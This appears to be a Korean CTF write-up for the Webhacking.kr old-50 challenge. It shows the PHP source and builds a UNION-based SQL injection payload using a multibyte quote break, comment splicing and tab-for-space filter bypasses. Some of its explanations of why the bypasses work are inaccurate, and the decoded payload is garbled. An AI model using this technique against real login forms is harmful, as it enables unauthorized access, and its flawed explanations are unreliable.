본문 바로가기

Webhacking.kr

old-50

코드 분석

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']); 
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach($_GET as $ck) if(preg_match("/from|pw|\\(|\\)| |%|=|>|</i",$ck)) exit();
    if(preg_match("/union/i",$_GET['id'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1) echo("level : 1<br><br>");
      if($result['lv']==2) echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$result) echo("Wrong");
  }
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>
  1. id, pw 파라미터 값을 받아 각각을 addslashes()로 이스케이프 시킨다.
  2. id 파라미터 인코딩 방식을 "utf-8" 에서 "euc-kr"로 바꾼다.
  3. id, pw에 from , pw , ( , ) , 공백 , % , = , > , < 이 들어갈 경우 프로그램을 종료한다.
  4. id에 union이 들어갈 경우도 프로그램을 종료한다.
  5. sql 쿼리를 실행해 lv 값을 가져온다.
  6. lv 값이 3이면 clear

SQL문을 따로 빼보자.

select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')

만약 내가 id를 test로 입력하고 pw를 passwd로 입력하면 쿼리는 이렇게 될 것이다.

select lv from chall50 where id='test' and pw=md5('passwd')

 

익스플로잇

pw=md5('passwd')코드에서 pw파라미터는 암호화 된다. 따라서 pw는 우회하는 코드를 넣어도 암호화로 인해 먹히지 않을 것이 분명하다.

따라서 pw에 대한 md5 암호화를 무력화(주석화) 해야한다.

핵심 : union을 이용해서 이런 형태의 쿼리문을 만든다.

select lv from chall50 where id='test'/*and pw=md5('{$_GET['pw']}*/union select 3

형광펜 : url에 입력할 부분

그러면 실질적 쿼리문은 이렇게 될 것이다.

select lv from chall50 where id='test' union select 3

SQL쿼리문 중간에 주석 /* */이 들어가는게 가능한가

SELECT * FROM users /* WHERE is_admin = 1 */ WHERE status = 'active';

위와 같이 /* */ 안의 내용은 실행되지 않는다. 또한, -- (더블 대시)는 한 줄 주석으로 사용된다.

SELECT * FROM users -- WHERE is_admin = 1
WHERE status = 'active';

이 경우 '--' 뒤의 내용은 무시된다.

id 파라미터는 union에 대한 검증이 있으므로, pw 파라미터를 이용하기로 한다.

하지만 위에서 말했듯이 md5 함수로 묶어져 있기 때문에 이를 무력화 시켜야 union을 삽입할 수 있을 것이다.

id: test%aa%27/* (test’/*)

pw : */union%09select%093%23d (*/union select 3)

select lv from chall50 where id='test%aa/*and pw=*/union%09select%093%23d
  • 공백(' ') 필터링 : %09로 우회
  • %필터링 : %23d로 우회
  • 싱글 쿼터(’) 필터링 : %aa를 붙여서 우회(ª')
  • %27 : 싱글 쿼터(')

익스플로잇 코드

?id=test%aa%27/*&pw=*/union%09select%093%23d

페이로드 URL 디코딩

?id=testª'/&pw=/union	select 3#d

페이로드 분석

위 페이로드를 URL 디코딩하면 다음과 같다.

?id=testª'/&pw=/union	select 3#d

(1) id=testª'/*

  • testª' → id 값에 '을 추가하여 SQL 구문의 문자열을 닫음
  • /* → 이후 부분을 SQL 주석 처리하여 필터를 우회
SELECT lv FROM chall50 WHERE id='testª'/*' AND pw=md5('...')

/* 이후가 주석이 되므로 pw=md5(...) 부분이 무시됨

%aa가 왜 필요한가?

일반적으로 SQL Injection에서는 다음과 같이 입력하면 필터를 통과해야 한다.

?id=test'

그러나 이 코드에는 다음과 같은 필터가 있다.

foreach($_GET as $ck) if(preg_match("/from|pw|\\(|\\)| |%|=|>|</i", $ck)) exit();
  • |%| → % 문자가 포함된 입력을 차단
  • | | → 공백(스페이스) 포함 차단

즉, 공백과 % 문자가 필터링 되므로 정상적으로 SQL Injection을 실행하기 어렵다.

그러나 %aa를 추가하면 공백 없이 쿼리를 깨뜨릴 수 있는 ASCII 문자를 삽입할 수 있다.

%aa의 역할 : 필터 우회용 더미 문자

  • PHP의 preg_match()에서 | | (공백)과 % 기호를 필터링하고 있음
  • %aa(ª)를 추가하면 공백 없이 필터를 우회하면서도 SQL 구문을 깨뜨릴 수 있음 %aa(ª, ASCII 170)를 삽입하면 공백 없이 필터를 우회할 수 있음
  • 일부 SQL 파서(특히 특정 문자셋을 사용하는 경우)에서는 **ª'**를 만나면 싱글 쿼트(')를 새로운 문자열 시작으로 해석할 가능성이 있음
  • %aa%27 → '가 정상적으로 실행되는 조건을 만들어 줌

즉,

  • %aa를 포함하면 id='testª'가 되고,
  • %aa가 없으면 SQL 구문이 정상적으로 닫히지 않아 오류 발생.

(2) pw=*/union%09select%093%23d

  • */ → 이전에 /*로 열었던 주석을 종료
  • union%09select%093%23d : 원래 union select 3# 인데 공백을 %09로 우회하고 #는 %23d로 우회하였다.

우회 원리 정리

1. 공백(' ') 필터링 우회 → %09 (탭 문자)

  • %20(공백)은 필터링됨 → preg_match("/ |%/i", $ck)) exit();
  • %09(탭, ASCII \\t)는 필터링되지 않음 → SQL에서는 공백처럼 해석됨
  • 따라서 UNION SELECT → UNION%09SELECT 로 우회 가능

2. % 필터링 우회 → %23d (샤프 # 주석 추가)

  • % 자체가 필터링됨 (/ |%/ 때문에 % 사용 불가)
  • 하지만 %23(ASCII #, SQL 주석) 뒤에 더미 문자(d 등)를 추가하여 %23d로 우회 → # 뒤에 있는 SQL 코드는 실행되지 않음.
?id=admin'--

이런 형태를 사용하고 싶어도 -- 이후에 공백을 넣어야 하는데 공백이 필터링됨.

그래서 %23d를 추가하여 우회하는 방법을 사용.

3. 싱글 쿼터(') 필터링 우회 → %aa (ª')

  • '(싱글 쿼트) 필터링이 걸려 있거나, 일부 WAF에서 '가 있는지 검사
  • %aa(ª, ASCII 170)를 추가하여 '를 우회 (ª')
  • 일부 DBMS에서는 ª가 무시되거나 정상적으로 '로 인식될 가능성이 있음
  • 따라서, test%aa%27/* → testª'/* 로 필터를 우회 가능

Payload 입력

?id=test%aa%27/&pw=/union%09select%093%23d
=>
https://webhacking.kr/challenge/web-25/?id=test%aa%27/*&pw=*/union%09select%093%23d

'Webhacking.kr' 카테고리의 다른 글

old-32  (0) 2026.05.13
old-25  (0) 2026.05.13
old-43 RevengE  (0) 2026.05.13
baby toctou(Race Condition)  (0) 2026.05.12
old-28  (1) 2026.05.12